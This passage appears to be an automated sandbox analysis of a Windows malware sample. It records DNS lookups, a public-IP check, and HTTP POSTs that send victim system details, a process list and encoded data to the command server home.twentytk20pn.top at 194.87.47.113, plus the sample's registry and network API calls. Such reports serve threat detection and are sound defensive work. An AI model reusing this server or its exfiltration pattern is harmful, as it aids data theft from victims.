                                                  Dec 19, 2024 08:37:16.104994059 CET5042153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.105072975 CET5042153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.114499092 CET5042153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.114784002 CET5042153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.242861986 CET53504211.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.242881060 CET53504211.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.242893934 CET53504211.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.251494884 CET53504211.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.251507998 CET53504211.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.441111088 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.441212893 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.441406012 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.441615105 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.441723108 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.442028999 CET5042353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:16.577848911 CET53504231.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.577876091 CET53504231.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.577915907 CET53504231.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.577934027 CET53504231.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.577975035 CET53504231.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.578363895 CET53504231.1.1.1192.168.2.5

                                                  ICMP Packets

                                                  TimestampSource IPDest IPChecksumCodeType
                                                  Dec 19, 2024 08:37:14.905749083 CET192.168.2.51.1.1.1c233(Port unreachable)Destination Unreachable
                                                  Dec 19, 2024 08:37:16.251580000 CET192.168.2.51.1.1.1c233(Port unreachable)Destination Unreachable

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Dec 19, 2024 08:36:11.841185093 CET192.168.2.51.1.1.10xf7feStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:36:11.841320038 CET192.168.2.51.1.1.10xa719Standard query (0)httpbin.org28IN (0x0001)false
                                                  Dec 19, 2024 08:36:15.243202925 CET192.168.2.51.1.1.10x784cStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:36:15.243454933 CET192.168.2.51.1.1.10x1b41Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:14.618933916 CET192.168.2.51.1.1.10xa276Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:14.619776011 CET192.168.2.51.1.1.10xe867Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:14.997920990 CET192.168.2.51.1.1.10x9546Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:14.997983932 CET192.168.2.51.1.1.10x20ebStandard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.335438013 CET192.168.2.51.1.1.10xae25Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.335519075 CET192.168.2.51.1.1.10xc1a6Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.335597992 CET192.168.2.51.1.1.10xae25Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.709152937 CET192.168.2.51.1.1.10x31e9Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.709295034 CET192.168.2.51.1.1.10x9501Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.104876995 CET192.168.2.51.1.1.10xbdd2Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.104994059 CET192.168.2.51.1.1.10x2e08Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.105072975 CET192.168.2.51.1.1.10xbdd2Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.114499092 CET192.168.2.51.1.1.10x2e08Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.114784002 CET192.168.2.51.1.1.10xbdd2Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.441111088 CET192.168.2.51.1.1.10x5fcStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.441212893 CET192.168.2.51.1.1.10xf0bdStandard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.441406012 CET192.168.2.51.1.1.10x5fcStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.441615105 CET192.168.2.51.1.1.10xf0bdStandard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.441723108 CET192.168.2.51.1.1.10x5fcStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.442028999 CET192.168.2.51.1.1.10xf0bdStandard query (0)home.twentytk20pn.top28IN (0x0001)false

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Dec 19, 2024 08:36:12.126291037 CET1.1.1.1192.168.2.50xf7feNo error (0)httpbin.org98.85.100.80A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:36:12.126291037 CET1.1.1.1192.168.2.50xf7feNo error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:36:15.382173061 CET1.1.1.1192.168.2.50x784cNo error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:14.756627083 CET1.1.1.1192.168.2.50xa276No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.135838032 CET1.1.1.1192.168.2.50x9546No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.472791910 CET1.1.1.1192.168.2.50xae25No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.474455118 CET1.1.1.1192.168.2.50xae25No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:15.847626925 CET1.1.1.1192.168.2.50x31e9No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.242861986 CET1.1.1.1192.168.2.50xbdd2No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.242893934 CET1.1.1.1192.168.2.50xbdd2No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.251507998 CET1.1.1.1192.168.2.50xbdd2No error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.577876091 CET1.1.1.1192.168.2.50x5fcNo error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.577915907 CET1.1.1.1192.168.2.50x5fcNo error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false
                                                  Dec 19, 2024 08:37:16.577934027 CET1.1.1.1192.168.2.50x5fcNo error (0)home.twentytk20pn.top194.87.47.113A (IP address)IN (0x0001)false

                                                  HTTP Request Dependency Graph

                                                  • httpbin.org
                                                  • home.twentytk20pn.top

                                                  HTTP Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.549705194.87.47.113801080C:\Users\user\Desktop\Ry6ot1YULB.exe
                                                  TimestampBytes transferredDirectionData
                                                  Dec 19, 2024 08:36:15.504826069 CET12360OUTPOST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1
                                                  Host: home.twentytk20pn.top
                                                  Accept: */*
                                                  Content-Type: application/json
                                                  Content-Length: 497645
                                                  Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 33 37 37 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED]
                                                  Data Ascii: { "ip": "8.46.123.189", "current_time": "1734593773", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
                                                  Dec 19, 2024 08:36:15.624612093 CET2472OUTData Raw: 2b 76 38 41 69 36 39 38 59 79 36 52 4d 62 62 55 62 5c 2f 51 66 41 50 67 7a 56 76 48 4e 5c 2f 6f 6c 74 64 42 57 4e 73 32 75 57 65 69 58 57 6b 72 63 6c 4a 52 5a 7a 58 6b 4e 39 35 4d 72 32 71 4b 66 36 62 6b 5c 2f 34 49 77 66 38 45 31 30 52 46 62 39
                                                  Data Ascii: +v8Ai698Yy6RMbbUb\/QfAPgzVvHN\/oltdBWNs2uWeiXWkrclJRZzXkN95Mr2qKf6bk\/4Iwf8E10RFb9nJ5WVVVpH+MHx4DyEAAu4i+J8cYdyNzCONEBJ2Iq4UfwP4yfTXzXw38T+K\/DfhjwnwPF\/+pcskwed55nniJX4NpTzfOuHMo4rhgsrwGB4B40q4vDYXJs\/yiVfHYrEZe5YyviMNSwk4Yb6xU\/1v+j9+zX8O\/E
                                                  Dec 19, 2024 08:36:15.624644995 CET4944OUTData Raw: 33 53 4e 5c 2f 4c 5c 2f 41 4e 61 66 4e 5c 2f 70 30 5c 2f 44 38 71 44 53 6e 31 2b 58 36 6a 50 4d 54 35 45 33 37 50 33 76 38 41 7a 31 5c 2f 63 44 5c 2f 52 66 5c 2f 77 42 58 50 30 70 69 5c 2f 76 4e 6a 76 35 62 76 5c 2f 77 41 73 68 5c 2f 79 77 39 2b
                                                  Data Ascii: 3SN\/L\/ANafN\/p0\/D8qDSn1+X6jPMT5E37P3v8Az1\/cD\/Rf\/wBXP0pi\/vNjv5bv\/wAsh\/yw9+nv+fenlXk\/5bbE\/SHtj8fb6e9MzubYnmbPK\/5Z\/wDLY\/p\/k96DeG\/y\/VEP\/ft5P+3X\/P8ATB70f7kn35f3sfPn5p\/ycP8A6h+svOPX\/PFHlvJ\/rn4j44\/z09P84r2XlH7v+AakO4xrNs+\/\/X\
                                                  Dec 19, 2024 08:36:15.624665976 CET2472OUTData Raw: 62 4b 55 38 48 6a 4d 6c 79 72 4d 4b 64 53 6c 56 79 7a 42 34 50 43 56 49 7a 65 61 59 70 30 73 52 53 6f 71 55 38 50 58 55 48 55 71 51 31 66 35 78 55 55 55 56 5c 2f 71 65 66 34 76 45 4c 5c 2f 65 50 34 66 79 46 4e 71 54 79 5c 2f 66 39 50 5c 2f 72 31
                                                  Data Ascii: bKU8HjMlyrMKdSlVyzB4PCVIzeaYp0sRSoqU8PXUHUqQ1f5xUUUV\/qef4vEL\/eP4fyFNqTy\/f9P\/r1HQdB9ff8E2v+UlP7In\/dff8A1Qnjqv7Qq\/i9\/wCCbX\/KSn9kT\/uvv\/qhPHVf2P8Ai7xh4U8AeGtZ8Z+OfEmh+EPCXh2zfUdd8S+JNTs9G0PSLJGVGudQ1PUJoLS1iMjxxI0sq+ZNJHDGGlkRG\/ww+kfUhS
                                                  Dec 19, 2024 08:36:15.625230074 CET2472OUTData Raw: 66 5c 2f 31 65 33 46 4d 41 64 76 75 70 35 68 2b 70 48 36 31 50 74 66 38 41 33 4f 66 39 58 5c 2f 79 33 36 65 32 65 74 51 65 57 5c 2f 77 41 6e 38 65 50 38 6a 39 50 70 2b 75 61 44 6f 44 79 30 5c 2f 6a 53 4e 50 2b 57 76 63 54 39 4b 70 73 76 7a 66 37
                                                  Data Ascii: f\/1e3FMAdvup5h+pH61Ptf8A3Of9X\/y36e2etQeW\/wAn8eP8j9Pp+uaDoDy0\/jSNP+WvcT9Kpsvzf7H\/AE0\/cW\/\/AG6duv8A9erm3938\/wCcn8\/z\/ljqKh2x\/P8Ax+X+97mg7KfX5FYsduz6\/wCfw4\/yaZK37ve\/\/fz\/AD05x\/hU3+s\/j\/7Z\/wD1v5fypjDdI77I8f5\/Dnn\/APXQaFbbuj5Pl9oo
                                                  Dec 19, 2024 08:36:15.625241041 CET2472OUTData Raw: 2f 30 79 34 2b 30 44 70 5c 2f 6f 6e 62 38 2b 39 4d 61 4e 5c 2f 6b 51 5a 5c 2f 77 43 58 6a 7a 73 5c 2f 35 2b 76 48 31 70 38 6d 5c 2f 62 6a 39 34 5c 2f 6d 66 75 6f 70 49 2b 34 5c 2f 7a 37 66 72 54 34 5c 2f 33 6e 33 48 33 70 5c 2f 70 45 73 78 6b 35
                                                  Data Ascii: /0y4+0Dp\/onb8+9MaN\/kQZ\/wCXjzs\/5+vH1p8m\/bj94\/mfuopI+4\/z7frT4\/3n3H3p\/pEsxk5\/z6UHQVpJHSRE8nekf+tkk\/z\/APW\/oyT93Ggf5E\/5+D\/n196ftSRdn+phj\/56Rf4\/r6d6I43ZnRIdjj9z\/rP88+nHpU+185f18wIfkj2P+8\/d\/vcyf6ib\/P8AWiT5W\/1f+sl\/e\/8ALD\/PpR5a
                                                  Dec 19, 2024 08:36:15.625485897 CET2472OUTData Raw: 79 2b 50 43 76 37 52 34 7a 6a 48 69 44 34 58 6e 72 6a 72 70 33 6a 6f 66 2b 79 31 5c 2f 4b 76 30 79 5a 63 33 67 70 6a 6c 62 5c 2f 6d 6f 2b 48 5c 2f 77 78 46 56 39 76 49 5c 2f 74 50 36 41 72 61 2b 6b 4c 6c 31 76 2b 69 56 34 6e 32 56 33 5c 2f 41 4c
                                                  Data Ascii: y+PCv7R4zjHiD4Xnrjrp3jof+y1\/Kv0yZc3gpjlb\/mo+H\/wxFV9vI\/tP6Ara+kLl1v+iV4n2V3\/ALtQ6H8tPxP+MHj74v3Hgyfx1rUmpxfD34ceBvhT4NsEVodP0DwX8PvD1j4c0PTrC03ukMk8Nk2qatOpDahrV\/qF+4T7QsUfU\/s+\/HHVPgf4w1O9e1l1\/wAAePPDOs\/Dr4ueBjMkNt43+HHim2ax1zS1kmjmhs
                                                  Dec 19, 2024 08:36:15.625509024 CET2472OUTData Raw: 31 46 52 79 4c 7a 5c 2f 72 35 48 51 56 36 5a 33 54 36 48 2b 56 50 6f 70 65 7a 38 5c 2f 77 5c 2f 34 49 45 54 39 66 77 5c 2f 71 61 5a 55 6b 6e 62 38 61 6a 72 51 32 39 72 35 79 5c 2f 72 35 6c 57 58 76 5c 2f 76 66 34 30 33 79 5c 2f 6d 66 72 31 5c 2f
                                                  Data Ascii: 1FRyLz\/r5HQV6Z3T6H+VPopez8\/w\/4IET9fw\/qaZUknb8ajrQ29r5y\/r5lWXv\/vf403y\/mfr1\/D\/I\/wA4q5Veg6iJ02\/y5plWKr0BS+z8\/wBSPy\/f9P8A69R1YqOTt+NB0FVo\/wAR+VNqxTH6fj\/Q0GlPr8v1K3l+\/wCn\/wBeo6sUUGhSkX+P0\/w7UyrUvf8A3f8AGoNh9v8AP4UHQQ93+g\/lUVWKr1p
                                                  Dec 19, 2024 08:36:15.625570059 CET2472OUTData Raw: 2f 6e 6a 5c 2f 41 50 58 5c 2f 41 4d 38 39 37 50 33 59 5c 2f 6b 54 48 47 50 33 5c 2f 41 44 5c 2f 6f 5c 2f 77 44 6e 74 31 5c 2f 47 6d 6c 53 71 75 5c 2f 6b 39 49 5c 2f 35 6d 74 50 61 65 58 34 5c 2f 38 41 30 44 5c 2f 41 47 32 2b 66 7a 50 33 58 37 76
                                                  Data Ascii: /nj\/APX\/AM897P3Y\/kTHGP3\/AD\/o\/wDnt1\/GmlSqu\/k9I\/5mtPaeX4\/8A0D\/AG2+fzP3X7v\/AJa+n+NQR\/8ATT\/ln9n\/AHcYPT\/n6H+eetTSR7lR98n18wcc\/ZPb7F+I6VDGvl\/IieT+9uPKj\/1\/\/Lr+vPTiswD+\/wD9cvNzJ+Xv\/X19aZ\/wONP+Wv2j17+3p\/nPL49nmZ37I+P+m9M+9\/Hsf
                                                  Dec 19, 2024 08:36:15.625586033 CET1236OUTData Raw: 7a 31 47 31 75 6f 78 4e 70 39 31 62 58 55 4a 78 69 57 31 6e 69 75 49 7a 36 59 6b 69 5a 6c 4f 52 37 39 50 61 74 44 37 55 57 58 5a 4d 6e 6e 66 31 5c 2f 48 74 5c 2f 6e 46 66 62 78 6a 43 53 55 6f 79 35 6f 79 56 30 34 75 4c 69 31 33 54 53 73 31 38 7a
                                                  Data Ascii: z1G1uoxNp91bXUJxiW1niuIz6YkiZlOR79PatD7UWXZMnnf1\/Ht\/nFfbxjCSUoy5oyV04uLi13TSs18z86lKtCThNOMou0lLmjNesWlZ+TRiUVX13WtH0Xwpo\/jW5m0yHR9c+J3jr4TWNqmpXP9vf8ACUfD3wl4J8aa\/Ncae2lrYR6SdI8faClpcx6xNeverexT6dbwxQXNzyfinxtpXhWT4qQ6hqnhFn+D37NPw4\/as8V
                                                  Dec 19, 2024 08:36:15.625597000 CET1236OUTData Raw: 62 79 6d 67 73 54 6d 6b 4b 39 4c 48 59 61 72 6c 31 43 56 44 4c 63 56 43 70 6a 71 4f 49 77 64 4b 72 68 56 55 77 32 62 35 64 58 70 52 72 51 68 4b 72 53 78 55 61 6c 4f 4d 6f 77 71 75 48 77 4e 66 77 4b 38 57 63 50 55 79 75 6c 50 67 72 4d 70 79 7a 76
                                                  Data Ascii: bymgsTmkK9LHYarl1CVDLcVCpjqOIwdKrhVUw2b5dXpRrQhKrSxUalOMowquHwNfwK8WcPUyulPgrMpyzvF0sDk8sNiMtxdLNMXWqY6lCjgK+Ex1aji5KrlmOpVHQqTjSqUHCrKEqlJT0qK3fEWm+FtM+GEHxU8JfHD4LfFzTdU+Kfhf4J+E\/Cnw2tf2kYfHXj74peLLODVLPwf4B0X4n\/s1\/DLT\/Fmp6Xot3Y6x4lTS9bl
                                                  Dec 19, 2024 08:37:14.500602007 CET183INHTTP/1.1 200 OK
                                                  Server: nginx/1.22.1
                                                  Date: Thu, 19 Dec 2024 07:37:14 GMT
                                                  Content-Type: text/html; charset=utf-8
                                                  Content-Length: 26
                                                  Connection: close
                                                  Data Raw: 5a 49 49 68 77 4b 51 69 61 4d 74 33 67 46 36 64 31 37 33 34 35 39 33 38 33 33
                                                  Data Ascii: ZIIhwKQiaMt3gF6d1734593833


                                                  HTTPS Proxied Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.54970498.85.100.804431080C:\Users\user\Desktop\Ry6ot1YULB.exe
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 07:36:13 UTC52OUTGET /ip HTTP/1.1
                                                  Host: httpbin.org
                                                  Accept: */*
                                                  2024-12-19 07:36:14 UTC224INHTTP/1.1 200 OK
                                                  Date: Thu, 19 Dec 2024 07:36:14 GMT
                                                  Content-Type: application/json
                                                  Content-Length: 31
                                                  Connection: close
                                                  Server: gunicorn/19.9.0
                                                  Access-Control-Allow-Origin: *
                                                  Access-Control-Allow-Credentials: true
                                                  2024-12-19 07:36:14 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                  Data Ascii: { "origin": "8.46.123.189"}


                                                  Statistics

                                                  CPU Usage

                                                  Click to jump to process

                                                  Memory Usage

                                                  Click to jump to process

                                                  High Level Behavior Distribution

                                                  Click to dive into process behavior distribution

                                                  System Behavior

                                                  General

                                                  Target ID:0
                                                  Start time:02:36:08
                                                  Start date:19/12/2024
                                                  Path:C:\Users\user\Desktop\Ry6ot1YULB.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\Desktop\Ry6ot1YULB.exe"
                                                  Imagebase:0xf60000
                                                  File size:4'453'888 bytes
                                                  MD5 hash:0AC83051D42C812A3DEB74E093C48F9E
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:low
                                                  Has exited:true

                                                  Disassembly

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:2.5%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:21.5%
                                                    Total number of Nodes:284
                                                    Total number of Limit Nodes:49
                                                    execution_graph 70672 f631d7 70675 f631f4 70672->70675 70673 f63200 70674 f632dc CloseHandle 70674->70673 70675->70673 70675->70674 70676 1014720 70680 1014728 70676->70680 70677 1014733 70679 1014774 70680->70677 70687 101476c 70680->70687 70688 1015540 closesocket 70680->70688 70682 101482e 70682->70687 70689 1019270 70682->70689 70684 1014860 70694 1014950 70684->70694 70686 1014878 70687->70686 70700 10130a0 closesocket 70687->70700 70688->70682 70701 101a440 70689->70701 70691 1019297 70693 10192ab 70691->70693 70735 101bbe0 closesocket 70691->70735 70693->70684 70695 1014966 70694->70695 70697 10149c5 70695->70697 70699 10149b9 70695->70699 70736 101bbe0 closesocket 70695->70736 70696 1014aa0 gethostname 70696->70697 70696->70699 70697->70687 70699->70696 70699->70697 70700->70679 70702 101a46b 70701->70702 70703 101a48b GetAdaptersAddresses 70702->70703 70733 101a4db 70702->70733 70719 101a4a6 70703->70719 70703->70733 70704 101aa03 RegOpenKeyExA 70705 101ab70 RegOpenKeyExA 70704->70705 70706 101aa27 RegQueryValueExA 70704->70706 70707 101ac34 RegOpenKeyExA 70705->70707 70732 101ab90 70705->70732 70708 101aa71 70706->70708 70709 101aacc RegQueryValueExA 70706->70709 70710 101acf8 RegOpenKeyExA 70707->70710 70731 101ac54 70707->70731 70708->70709 70715 101aa85 RegQueryValueExA 70708->70715 70711 101ab66 RegCloseKey 70709->70711 70712 101ab0e 70709->70712 70713 101ad56 RegEnumKeyExA 70710->70713 70721 101ad14 70710->70721 70711->70705 70712->70711 70720 101ab1e RegQueryValueExA 70712->70720 70717 101ad9b 70713->70717 70713->70721 70714 101a4f3 GetAdaptersAddresses 70716 101a505 70714->70716 70714->70733 70718 101aab3 70715->70718 70726 101a527 GetAdaptersAddresses 70716->70726 70716->70733 70722 101ae16 RegOpenKeyExA 70717->70722 70718->70709 70719->70714 70719->70733 70725 101ab4c 70720->70725 70721->70691 70723 101ae34 RegQueryValueExA 70722->70723 70724 101addf RegEnumKeyExA 70722->70724 70727 101af43 RegQueryValueExA 70723->70727 70734 101adaa 70723->70734 70724->70721 70724->70722 70725->70711 70726->70733 70728 101b052 RegQueryValueExA 70727->70728 70727->70734 70729 101adc7 RegCloseKey 70728->70729 70728->70734 70729->70724 70730 101afa0 RegQueryValueExA 70730->70734 70731->70710 70732->70707 70733->70704 70733->70721 70734->70727 70734->70728 70734->70729 70734->70730 70735->70693 70736->70699 70737 f62f17 70744 f62f2c 70737->70744 70738 f631d3 70739 f62fb3 RegOpenKeyExA 70739->70744 70740 f6315c RegEnumKeyExA 70740->70744 70741 f63046 RegOpenKeyExA 70742 f63089 RegQueryValueExA 70741->70742 70741->70744 70743 f6313b RegCloseKey 70742->70743 70742->70744 70743->70744 70744->70738 70744->70739 70744->70740 70744->70741 70744->70743 70531 f6f7b0 70532 f6f97a 70531->70532 70533 f6f7c3 70531->70533 70533->70532 70534 f6f932 70533->70534 70550 f6fec0 6 API calls 70533->70550 70539 f9cd80 70534->70539 70536 f6f942 70538 f6f9bb WSACloseEvent 70536->70538 70538->70532 70540 f9d0e5 70539->70540 70543 f9cd9a 70539->70543 70540->70536 70543->70540 70546 f9ce6b 70543->70546 70551 f9dc30 closesocket 70543->70551 70547 f9cf4b 70546->70547 70548 f9d016 70546->70548 70552 f9dc30 closesocket 70546->70552 70547->70548 70553 f9e130 closesocket 70547->70553 70554 f76fa0 70547->70554 70562 f7f6c0 6 API calls 70548->70562 70550->70533 70551->70543 70552->70546 70553->70547 70555 f76feb 70554->70555 70556 f76fd4 70554->70556 70555->70547 70556->70555 70557 f77207 select 70556->70557 70557->70555 70561 f77233 70557->70561 70558 f7726b __WSAFDIsSet 70559 f7729a __WSAFDIsSet 70558->70559 70558->70561 70560 f772ba __WSAFDIsSet 70559->70560 70559->70561 70560->70561 70561->70555 70561->70558 70561->70559 70561->70560 70562->70540 70745 f63d5e 70746 f63d30 70745->70746 70746->70745 70747 f63d90 70746->70747 70751 f70ab0 70746->70751 70754 f6fcb0 6 API calls 70747->70754 70750 f63dc1 70755 f705b0 70751->70755 70753 f70acd 70753->70746 70754->70750 70758 f705bd 70755->70758 70761 f707c7 70755->70761 70756 f70707 WSAEventSelect 70756->70758 70756->70761 70757 f707ef 70759 f76fa0 4 API calls 70757->70759 70757->70761 70762 f70847 70757->70762 70758->70756 70758->70757 70758->70761 70765 f676a0 70758->70765 70759->70762 70761->70753 70762->70761 70763 f709e8 WSAEnumNetworkEvents 70762->70763 70764 f709d0 WSAEventSelect 70762->70764 70763->70762 70763->70764 70764->70762 70764->70763 70766 f676e6 send 70765->70766 70767 f676c0 70765->70767 70768 f676c9 70766->70768 70767->70766 70767->70768 70768->70758 70563 f629ff FindFirstFileA 70564 f62a31 70563->70564 70565 f62a5c RegOpenKeyExA 70564->70565 70566 f62a93 70565->70566 70567 f62ade CharUpperA 70566->70567 70568 f62b0a 70567->70568 70569 f62bf9 QueryFullProcessImageNameA 70568->70569 70570 f62c3b CloseHandle 70569->70570 70572 f62c64 70570->70572 70571 f62df1 CloseHandle 70573 f62e23 70571->70573 70572->70571 70574 139d270 70576 139d29a 70574->70576 70575 139d2a6 70576->70575 70579 12f12a0 70576->70579 70578 139d2da 70580 12f12ac 70579->70580 70583 12ee030 70580->70583 70582 12f12da 70582->70578 70588 12ee07d 70583->70588 70592 12ee4e3 70583->70592 70584 12ee16e 70585 12eed70 ungetc 70584->70585 70593 12ee186 70584->70593 70585->70593 70586 12f0230 ungetc 70586->70592 70587 12f1184 ungetc 70587->70592 70588->70584 70589 12ee368 70588->70589 70588->70592 70588->70593 70594 12ee223 70588->70594 70589->70592 70589->70593 70597 12f0098 ungetc 70589->70597 70590 12f0722 ungetc 70590->70593 70591 12f08b7 ungetc 70591->70592 70592->70586 70592->70587 70592->70591 70592->70593 70592->70594 70595 12effe6 ungetc 70592->70595 70596 12f0e1e ungetc 70592->70596 70593->70582 70594->70590 70594->70593 70595->70592 70596->70592 70597->70589 70598 f995b0 70599 f995c8 70598->70599 70600 f995fd 70598->70600 70599->70600 70602 f9a150 70599->70602 70603 f9a15f 70602->70603 70605 f9a1d0 70602->70605 70604 f9a181 getsockname 70603->70604 70603->70605 70604->70605 70605->70600 70606 f96ab0 70607 f96ad5 70606->70607 70608 f96bb4 70607->70608 70610 f76fa0 4 API calls 70607->70610 70609 1015ed0 9 API calls 70608->70609 70611 f96ba9 70609->70611 70612 f96b54 70610->70612 70612->70608 70612->70611 70613 f96b5d 70612->70613 70613->70611 